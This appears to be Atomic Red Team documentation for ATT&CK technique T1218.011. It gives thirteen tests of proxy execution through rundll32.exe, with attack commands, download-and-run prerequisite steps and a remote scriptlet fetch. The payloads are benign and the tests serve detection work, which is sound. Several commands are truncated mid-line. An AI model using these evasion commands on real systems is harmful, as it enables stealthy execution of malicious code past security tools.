T1218.011 - Signed Binary Proxy Execution: Rundll32

Description from ATT&CK

> Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).
> Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
>
> Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"`

> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
>
> Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones.(Citation: Attackify Rundll32.exe Obscurity) (Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: `rundll32.exe file.dll,#1`).
>
> Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Atomic Tests

- Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject
- Atomic Test #2 - Rundll32 execute VBscript command
- Atomic Test #3 - Rundll32 execute VBscript command using Ordinal number
- Atomic Test #4 - Rundll32 advpack.dll Execution
- Atomic Test #5 - Rundll32 ieadvpack.dll Execution
- Atomic Test #6 - Rundll32 syssetup.dll Execution
- Atomic Test #7 - Rundll32 setupapi.dll Execution
- Atomic Test #8 - Execution of HTA and VBS Files using Rundll32 and URL.dll
- Atomic Test #9 - Launches an executable using Rundll32 and pcwutl.dll
- Atomic Test #10 - Execution of non-dll using rundll32.exe
- Atomic Test #11 - Rundll32 with Ordinal Value

- Atomic Test #12 - Rundll32 with Control_RunDLL
- Atomic Test #13 - Rundll32 with desk.cpl

Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject

Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. This has been used by Win32/Poweliks malware and works as described here

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.

Supported Platforms: Windows

auto_generated_guid: 57ba4ce9-ee7a-4f27-9928-3c70c489b59d

Inputs:

Name	Description	Type	Default Value
file_url	location of the payload	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct

Attack Commands: Run with `command_prompt`!

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObjec
```

Cleanup Commands:

```
taskkill /IM notepad.exe /f
```

Atomic Test #2 - Rundll32 execute VBscript command

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched

Supported Platforms: Windows

auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb

Inputs:

Name	Description	Type	Default Value
command_to_execute	Command for rundll32.exe to execute	string	calc.exe

Attack Commands: Run with `command_prompt`!

```
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Sh
```

Atomic Test #3 - Rundll32 execute VBscript command using Ordinal number

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched

Supported Platforms: Windows

auto_generated_guid: 32d1cf1b-cbc2-4c09-8d05-07ec5c83a821

Inputs:

Name	Description	Type	Default Value
command_to_execute	Command for rundll32.exe to execute	string	calc.exe

Attack Commands: Run with `command_prompt`!

```
rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{c
```

Atomic Test #4 - Rundll32 advpack.dll Execution

Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched

Supported Platforms: Windows

auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89

Inputs:

Name	Description	Type	Default Value
inf_to_execute	Local location of inf file	string	PathToAtomicsFolder\T1218.011\src\T1218.011.inf

Attack Commands: Run with `command_prompt`!

```
rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleU
```

Dependencies: Run with `powershell`!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})

Check Prereq Commands:

```
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #5 - Rundll32 ieadvpack.dll Execution

Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml

Supported Platforms: Windows

auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9

Inputs:

Name	Description	Type	Default Value
inf_to_execute	Local location of inf file	string	PathToAtomicsFolder\T1218.011\src\T1218.011.inf

Attack Commands: Run with `command_prompt`!

```
rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_Singl
```

Dependencies: Run with `powershell`!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})

Check Prereq Commands:

```
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #6 - Rundll32 syssetup.dll Execution

Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml

Supported Platforms: Windows

auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125

Inputs:

Name	Description	Type	Default Value
inf_to_execute	Local location of inf file	string	PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultIn

Attack Commands: Run with `command_prompt`!

```
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 #{inf_to_(
```

Dependencies: Run with `powershell`!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})

Check Prereq Commands:

```
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #7 - Rundll32 setupapi.dll Execution

Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml

Supported Platforms: Windows

auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19

Inputs:

Name	Description	Type	Default Value
inf_to_execute	Local location of inf file	string	PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultIn

Attack Commands: Run with `command_prompt`!

```
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 #{inf_to_execute}
```

Dependencies: Run with `powershell`!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})

Check Prereq Commands:

```
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #8 - Execution of HTA and VBS Files using Rundll32 and URL.dll

IcedID uses this TTP as follows: rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta Trickbot uses this TTP as follows: rundll32.exe URL.dll,FileProtocolHandler C:\..\Detail\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"

Supported Platforms: Windows

auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3

Attack Commands: Run with `command_prompt`!

```
rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteull
```

Atomic Test #9 - Launches an executable using Rundll32 and pcwutl.dll

Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.

Supported Platforms: Windows

auto_generated_guid: 9f5d081a-ee5a-42f9-a04e-b7bdc487e676

Inputs:

Name	Description	Type	Default Value
exe_to_launch	Path of the executable to launch	path	%windir%\System32\notepad.exe

Attack Commands: Run with `command_prompt`!

```
rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
```

Atomic Test #10 - Execution of non-dll using rundll32.exe

Rundll32.exe running non-dll

Supported Platforms: Windows

auto_generated_guid: ae3a8605-b26e-457c-b6b3-2702fd335bac

Inputs:

Name	Description	Type	Default Value
input_url	Url to download the DLL	url	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
input_file	Non-dll file	string	C:\Users\$env:username\Downloads\calc.png

Attack Commands: Run with `powershell`!

```
rundll32.exe #{input_file}, StartW
```

Dependencies: Run with `powershell`!

Description: Non-dll file must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path #{input_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
```

Atomic Test #11 - Rundll32 with Ordinal Value

Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. Upon successful execution, Calc.exe will spawn.

Supported Platforms: Windows

auto_generated_guid: 9fd5a74b-ba89-482a-8a3e-a5feaa3697b0

Inputs:

Name	Description	Type	Default Value
input_url	Url to download the DLL	url	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll
input_file	DLL File	string	PathToAtomicsFolder\T1218.010\bin\AllTheThingsx64.dll

Attack Commands: Run with `command_prompt`!

```
rundll32.exe #{input_file},#2
```

Dependencies: Run with `powershell`!

Description: DLL file must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path #{input_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
```

Atomic Test #12 - Rundll32 with Control_RunDLL

Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444.

Supported Platforms: Windows

auto_generated_guid: e4c04b6f-c492-4782-82c7-3bf75eb8077e

Inputs:

Name	Description	Type	Default Value
input_url	download the DLL	url	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
input_file	DLL File	string	PathToAtomicsFolder\T1047\bin\calc.dll

Attack Commands: Run with `command_prompt`!

```
rundll32.exe shell32.dll,Control_RunDLL #{input_file}
```

Dependencies: Run with `powershell`!

Description: DLL file must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path #{input_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
```

Atomic Test #13 - Rundll32 with desk.cpl

Rundll32.exe loading an executable renamed as .scr using desk.cpl Reference:

- LOLBAS - Libraries/Desk SIGMA rules:
- SCR File Write Event
- Rundll32 InstallScreenSaver Execution

Supported Platforms: Windows

auto_generated_guid: 83a95136-a496-423c-81d3-1c6750133917

Inputs:

Name	Description	Type	Default Value
exe_to_launch	Path of the executable to launch	path	%windir%\System32\calc.exe

Attack Commands: Run with `command_prompt`!

```
copy #{exe_to_launch} not_an_scr.scr
rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr
```

Cleanup Commands:

```
del not_an_scr.scr
```